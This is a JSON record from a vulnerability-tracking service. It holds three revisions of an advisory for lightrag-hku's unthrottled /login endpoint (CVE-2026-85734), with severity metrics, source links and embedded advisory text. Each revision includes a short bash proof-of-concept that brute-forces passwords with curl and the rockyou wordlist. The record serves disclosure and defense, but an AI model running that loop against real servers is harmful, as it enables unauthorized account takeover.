{"items":[{"id":"NVI-00012906","kind":"vulnerability","title":"lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-frch-4w6v-q5xx","CVE-2026-85734"],"plain_summary":"GitHub lists this reviewed advisory for lightrag-hku. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-11e8d50718a5632a4024f502591b8b06"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-09-22T20:40:23.000Z","value":"9.1 critical","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-036a7a36b38a04b208bc07d38237672a"},{"kind":"CVSS","as_of":"2026-09-22T18:17:23.530Z","value":"9.1 CRITICAL (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-6db3d67cc6707d0289dc6bf06d191ba5"},{"kind":"EPSS","as_of":"2026-11-03T12:00:27.000Z","value":"0.609%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.49234. Missing scores are unknown.","source_id":"sr-11e8d50718a5632a4024f502591b8b06"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-036a7a36b38a04b208bc07d38237672a","url":"https://github.com/advisories/GHSA-frch-4w6v-q5xx","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-frch-4w6v-q5xx","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T07:25:10.521Z"},{"id":"sr-6db3d67cc6707d0289dc6bf06d191ba5","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85734","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-85734","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-04T09:59:21.684Z"},{"id":"sr-11e8d50718a5632a4024f502591b8b06","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-85734","publisher":"FIRST EPSS","observed_at":"2026-11-03T17:45:16.084Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-036a7a36b38a04b208bc07d38237672a"],"technology":"lightrag-hku","known_exclusions":[],"conditions_summary":"### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://:9621/login \\\n    -d \"username=admin&password=${pass}\")\n  [ \"$code\" = \"200\" ] && echo \"[FOUND] $pass\" && break\ndone < /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to al","public_affected_ranges":["< 1.5.5"]}],"null_published_at":"2026-11-07T07:07:42.489Z","source_updated_at":"2026-09-22T20:40:23.000Z","source_disclosed_at":"2026-09-22T20:40:22.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-11-01T07:25:10.521Z"},{"id":"NVI-00012906","kind":"vulnerability","title":"lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-frch-4w6v-q5xx","CVE-2026-85734"],"plain_summary":"GitHub lists this reviewed advisory for lightrag-hku. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-11e8d50718a5632a4024f502591b8b06"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-09-22T20:40:23.000Z","value":"9.1 critical","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-036a7a36b38a04b208bc07d38237672a"},{"kind":"EPSS","as_of":"2026-11-03T12:00:27.000Z","value":"0.609%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.49234. Missing scores are unknown.","source_id":"sr-11e8d50718a5632a4024f502591b8b06"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-036a7a36b38a04b208bc07d38237672a","url":"https://github.com/advisories/GHSA-frch-4w6v-q5xx","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-frch-4w6v-q5xx","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T07:25:10.521Z"},{"id":"sr-11e8d50718a5632a4024f502591b8b06","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-85734","publisher":"FIRST EPSS","observed_at":"2026-11-03T17:45:16.084Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-036a7a36b38a04b208bc07d38237672a"],"technology":"lightrag-hku","known_exclusions":[],"conditions_summary":"### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://:9621/login \\\n    -d \"username=admin&password=${pass}\")\n  [ \"$code\" = \"200\" ] && echo \"[FOUND] $pass\" && break\ndone < /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to al","public_affected_ranges":["< 1.5.5"]}],"null_published_at":"2026-11-06T00:29:57.305Z","source_updated_at":"2026-09-22T20:40:23.000Z","source_disclosed_at":"2026-09-22T20:40:22.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-11-01T07:25:10.521Z"},{"id":"NVI-00012906","kind":"vulnerability","title":"lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-frch-4w6v-q5xx","CVE-2026-85734"],"plain_summary":"GitHub lists this reviewed advisory for lightrag-hku. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-036a7a36b38a04b208bc07d38237672a"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-09-22T20:40:23.000Z","value":"9.1 critical","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-036a7a36b38a04b208bc07d38237672a"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-036a7a36b38a04b208bc07d38237672a","url":"https://github.com/advisories/GHSA-frch-4w6v-q5xx","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-frch-4w6v-q5xx","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T07:25:10.521Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-036a7a36b38a04b208bc07d38237672a"],"technology":"lightrag-hku","known_exclusions":[],"conditions_summary":"### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://:9621/login \\\n    -d \"username=admin&password=${pass}\")\n  [ \"$code\" = \"200\" ] && echo \"[FOUND] $pass\" && break\ndone < /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to al","public_affected_ranges":["< 1.5.5"]}],"null_published_at":"2026-11-01T07:29:12.901Z","source_updated_at":"2026-09-22T20:40:23.000Z","source_disclosed_at":"2026-09-22T20:40:22.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-01T07:25:10.521Z"}],"next_cursor":null,"snapshot_revision":"42594"}